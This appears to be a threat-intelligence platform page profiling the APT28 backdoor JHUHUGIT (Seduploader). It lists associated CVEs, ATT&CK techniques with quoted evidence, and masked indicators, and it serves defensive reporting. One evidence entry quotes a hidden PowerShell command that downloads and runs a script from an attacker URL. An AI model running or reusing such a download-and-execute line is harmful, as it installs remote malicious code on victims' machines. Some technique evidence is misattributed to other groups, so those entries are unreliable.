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Malware1 associated actor25 associated CVEs

JHUHUGIT

Tracked since Nov 25, 2025 · Updated 14 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns25Associated
Actors1Associated
ATT&CK50Techniques
IOCs174Tracked
Type
Backdoor
Capabilities
ReconnaissancePersistencePrivilege escalationProcess injectionDefense evasion
Delivery
Spearphishing
Platforms
Windows
Also known asGAMEFISHJKEYSKWSednitSeduploaderSofacyCarberpTrojan.Sofacy

JHUHUGIT, also known as Seduploader, is a Windows reconnaissance backdoor used by APT28, the Russian military intelligence–linked cyberespionage group also known as Fancy Bear and Pawn Storm. It profiles compromised systems by enumerating running processes and collecting network interface information. Some variants capture screenshots by simulating the screenshot key, retrieving the resulting clipboard image, and converting it to JPEG format. Seduploader has been deployed as a two-component package comprising a dropper and a payload.

APT28 has delivered JHUHUGIT through malicious Microsoft Word documents, including documents that use Dynamic Data Exchange to execute PowerShell commands. VBA macros have also been used to drop and execute Seduploader variants. The malware establishes persistence through scheduled tasks triggered at user logon and registry-based autostart mechanisms, including execution of JavaScript through the Windows Rundll32 utility. It has exploited CVE-2015-1701 and CVE-2015-2387 for privilege escalation.

JHUHUGIT injects its own functions into browser processes and implements fallback command-and-control connectivity: it first attempts a direct connection, then uses the host's proxy settings, and finally injects code into a running browser if proxy-based communication fails. Some variants Base64-encode HTTP POST command-and-control data. Its dropper can delete itself, and other variants can delete specified files.

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Associated CVEs

Associated vulnerabilities

25 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2015-1701via mitre attack websiteExploited in the wildWin32k Elevation of Privilege VulnerabilityAPT28 has exploited CVE-2015-1701 to escalate privileges. JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges. | JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.View vulnerability →Source ↗
CVE-2015-2387via mitre attack websiteExploited in the wildMemory Corruption and Local Privilege Escalation in Windows Adobe Type Manager Font DriverAPT28 has exploited CVE-2015-2387 to escalate privileges. JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges. | JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.View vulnerability →Source ↗
CVE-2017-11292via malpediaExploited in the wildAdobe Flash Player type confusion in bytecode verification2017-10-19 ⋅ Proofpoint ⋅ APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed | 2017-10-19 ⋅ Proofpoint ⋅ APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed SeduploaderView vulnerability →Source ↗
CVE-2017-0262via eset welivesecurity blogExploited in the wildMicrosoft Office EPS Filter Type Confusion Remote Code ExecutionAnalysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.View vulnerability →Source ↗
CVE-2017-0263via eset welivesecurity blogExploited in the wildWin32k Elevation of Privilege VulnerabilityAnalysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.View vulnerability →Source ↗
CVE-2016-4117via eset welivesecurity blogExploited in the wildRemote code execution in Adobe Flash PlayerIoCs Table 2 lists a phishing document (f3805382ae2e23ff1147301d131a06e00e4ff75f) detected as Win32/Exploit.CVE-2016-4117.A; the report describes Sednit’s DealersChoice platform embedding Adobe Flash Player exploits in malicious Office documents.View vulnerability →Source ↗
CVE-2015-2545via eset welivesecurity blogMicrosoft Office Malformed EPS File VulnerabilityAnalysis of the document revealed its end goal: dropping Sednit’s well-known reconnaissance tool, Seduploader. To achieve this, Sednit used two zero-day exploits: ... CVE-2017-0262 ... and ... CVE-2017-0263.View vulnerability →Source ↗
CVE-2015-1641via eset welivesecurity blogExploited in the wildMicrosoft Office RTF Memory Corruption VulnerabilityThe RTF attachment exploits the CVE-2015-1641 vulnerability to drop two DLLs on the system... This particular case is one among a series of attacks using the CVE-2015-1641 vulnerability launched from April 2016 by the Sednit group. | Seduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper.View vulnerability →Source ↗
CVE-2015-2424via eset welivesecurity blogExploited in the wildMicrosoft Office Memory Corruption VulnerabilitySeduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. | CVE-2015-2424 Microsoft Office 0-day at the time the Sednit group used it. Seduploader deployed with targeted phishing emails using a 0-day exploit for the Microsoft Office vulnerability CVE-2015-2424.View vulnerability →Source ↗
CVE-2015-2590via securelistExploited in the wildRemote compromise vulnerability in Oracle Java LibrariesThe JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day (CVE-2015-2590) in July 2015. | JHUHUGIT (which is built with code from the Carberp sources)... its JHUHUGIT implant was delivered through a Flash zero-day and used a Windows EoP exploit to break out of the sandbox.View vulnerability →Source ↗
CVE-2014-1510via eset welivesecurity blogExploited in the wildPrivilege Escalation in Mozilla WebIDL APIsTable 3. Sedkit exploited vulnerabilities: CVE-2014-1510 / CVE-2014-1511 Firefox.View vulnerability →Source ↗
CVE-2014-1511via eset welivesecurity blogExploited in the wildMozilla Firefox popup blocker bypassTable 3. Sedkit exploited vulnerabilities: CVE-2014-1510 / CVE-2014-1511 Firefox.View vulnerability →Source ↗

13 more CVEs associated with this family tracked in Mallory.

Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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APT28

Komplex, SlimAgent, JHUHUGIT, Seduploader, Zebrocy | SlimAgent, JHUHUGIT, Seduploader, Zebrocy, PythocyDbg

via cyfirma blogcyfirma.com
MITRE ATT&CK

Techniques & procedures

50 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1189Drive-by CompromiseEvidence3

Titles such as “Operation RoundPress Rolls on with More Half-Click Webmail Zero-Days” and “DealersChoice is Sofacy’s Flash Player Exploit Platform” describe browser/webmail-triggered exploitation.

T1566PhishingEvidence4

Multiple entries describe APT28/Pawn Storm/Sofacy campaigns using lure documents, themed emails, and phishing schemes, e.g., “APT28 Hacker Group Targeting Europe, Americas, Asia in Widespread Phishing Scheme”, “New Spear Phishing Campaign Pretends to be EFF”, and “distribution of emails with 'instructions' on 'updating the operating system'”.

T1566.001Spearphishing AttachmentEvidence8

Examples include “PowerPoint mouse-over event abused to deliver Graphite implants”, “BREXIT-themed lure document that delivers ZEKAPAB malware”, “fake NATO training docs to breach govt networks”, and repeated references to lure documents delivering Zebrocy or Seduploader.

T1566.002Spearphishing LinkEvidence1

“The attack usually starts with an email containing either a malicious link or malicious attachment.” / “their preferred method consisted of malicious links embedded in emails sent to Sednit’s targets.”

Execution

10 techniques
T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence8

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)

T1059Command and Scripting InterpreterEvidence2

Here are some of the Seduploader features: ... Execution of code;

T1059.001PowerShellEvidence1

“powershell.exe -NoP -sta -NonI -W Hidden… DownloadString('http://sendmevideo.org/.../eee.txt'); powershell -enc $e” / “Seduploader dropper replaced by PowerShell commands delivering the Seduploader payload.”

T1059.003Windows Command ShellEvidence6

[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.(Citation: Talos Seduploader Oct 2017)

T1059.005Visual BasicEvidence2

Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro.

T1059.007JavaScriptEvidence1

JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process. Leviathan has used JavaScript to create a shortcut file in the Startup folder.

T1203Exploitation for Client ExecutionEvidence5

Examples include “APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed”, “New Adobe Flash Zero-Day Used in Pawn Storm Campaign”, and “Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia’s APT28”.

T1204.002Malicious FileEvidence1

The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc.

T1559.002Dynamic Data ExchangeEvidence2

APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents.

Persistence

7 techniques
T1037.001Logon Script (Windows)Evidence4

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\Environment\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)

T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence8

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)

T1137.001Office Template MacrosEvidence1

“continued using… macros in a Microsoft Office documents”

T1543.003Windows ServiceEvidence5

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)

T1546.015Component Object Model HijackingEvidence7

[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)

T1547.001Registry Run Keys / Startup FolderEvidence11

[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)

Privilege Escalation

8 techniques
T1037.001Logon Script (Windows)Evidence4

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\Environment\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)

T1053Scheduled Task/JobEvidence1

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

T1053.005Scheduled TaskEvidence8

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)

T1055Process InjectionEvidence9

[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)

T1068Exploitation for Privilege EscalationEvidence9

[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)

T1543.003Windows ServiceEvidence5

[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)

T1546.015Component Object Model HijackingEvidence7

[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)

T1547.001Registry Run Keys / Startup FolderEvidence11

[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)

Stealth

11 techniques
T1027Obfuscated Files or InformationEvidence8

The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.

T1027.007Dynamic API ResolutionEvidence1

the addresses of important Windows API functions are resolved dynamically.

T1027.013Encrypted/Encoded FileEvidence3

Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.(Citation: F-Secure Sofacy 2015)(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)

T1055Process InjectionEvidence9

[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)

T1070Indicator RemovalEvidence1

Many entries explicitly describe deleting artifacts 'to cover tracks,' 'evade detection,' 'remove evidence,' 'reduce their footprint,' or as part of 'post-intrusion cleanup process.' Examples include APT28 deleting files to cover tracks, FIN5 using SDelete to clean up the environment, and Dragonfly deleting operational files as part of cleanup.

T1070.004File DeletionEvidence10

The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)

T1070.009Clear PersistenceEvidence1

“its first part will create a mutex named flPGdvyhPykxGvhDOAZnU”

T1218.011Rundll32Evidence7

[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)

T1497Virtualization/Sandbox EvasionEvidence1

This code primarily serves to delay execution with I/O intensive operations, in order to exhaust security products’ analysis limits. It may also detect security software emulators that wrongly implement memory management... It was then replaced by a more common anti-analysis technique based on time measurement.

T1564.001Hidden Files and DirectoriesEvidence2

The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden.

T1620Reflective Code LoadingEvidence1

“The shell config allows the attacker to execute arbitrary code directly in-memory.”

Credential Access

1 technique
T1056Input CaptureEvidence1

“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”

Discovery

8 techniques
T1012Query RegistryEvidence3

The tools ... check for the existence of specific files, windows registry entries ... For example, SIG2 includes System\CurrentControlSet\Control\CrashImage and SIG23 includes software\microsoft\NetWin.

T1016System Network Configuration DiscoveryEvidence8

A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.(Citation: Unit 42 Playbook Dec 2017)

T1057Process DiscoveryEvidence9

[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)

T1082System Information DiscoveryEvidence9

The content repeatedly describes malware and threat actors collecting OS version, computer name, architecture, CPU, memory, disk, language, and other host details; examples include use of commands such as ver, systeminfo, hostname, uname -m, sw_vers -productVersion, and fsutil.

T1083File and Directory DiscoveryEvidence3

Examples include: "Babuk can enumerate disk volumes," "Confucius has used a file stealer that can examine system drives," and "XAgentOSX contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed."

T1120Peripheral Device DiscoveryEvidence1

Numerous entries mention enumerating drives, logical disks, disk type, free space, or volume information; examples include 'Babuk can enumerate disk volumes,' 'Cuba can enumerate local drives,' and 'TAINTEDSCRIBE can use DriveList to retrieve drive information.'

T1497Virtualization/Sandbox EvasionEvidence1

This code primarily serves to delay execution with I/O intensive operations, in order to exhaust security products’ analysis limits. It may also detect security software emulators that wrongly implement memory management... It was then replaced by a more common anti-analysis technique based on time measurement.

T1680Local Storage DiscoveryEvidence3

[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key <code>HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum</code>. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)

Collection

3 techniques
T1056Input CaptureEvidence1

“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”

T1113Screen CaptureEvidence10

A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the "Take Screenshot" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)(Citation: Talos Seduploader Oct 2017)

T1115Clipboard DataEvidence5

A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)

Command and Control

8 techniques
T1008Fallback ChannelsEvidence4

[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.(Citation: ESET Sednit Part 1)

T1071Application Layer ProtocolEvidence1

"The Command & Control (CC) of the analysed sample is myinvestgroup[.]com."

T1071.001Web ProtocolsEvidence9

[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Unit 42 Playbook Dec 2017)

T1090ProxyEvidence1

JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy.

T1090.001Internal ProxyEvidence1

Some organizations force their computers to pass through an HTTP proxy to access the Internet... Seduploader searches for proxy configuration settings in the Firefox browser... retrieves the proxy credentials... Once the proxy information has been retrieved, Seduploader sends an HTTP POST request to Google via the proxy

T1105Ingress Tool TransferEvidence10

[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018) [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim’s machine.(Citation: Talos Seduploader Oct 2017)

T1132Data EncodingEvidence3

ADVSTORESHELL C2 traffic is encrypted, then encoded with Base64 encoding. APT19 HTTP malware variant used Base64 to encode communications to the C2 server. APT33 has used base64 to encode command and control traffic.

T1132.001Standard EncodingEvidence3

A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.(Citation: Unit 42 Playbook Dec 2017)

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

Here are some of the Seduploader features: Screenshot capture (with the GDI API); data/configuration exfiltration;

Indicators of compromise

Observables

174 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

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IOC matching174Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities25CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping50Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.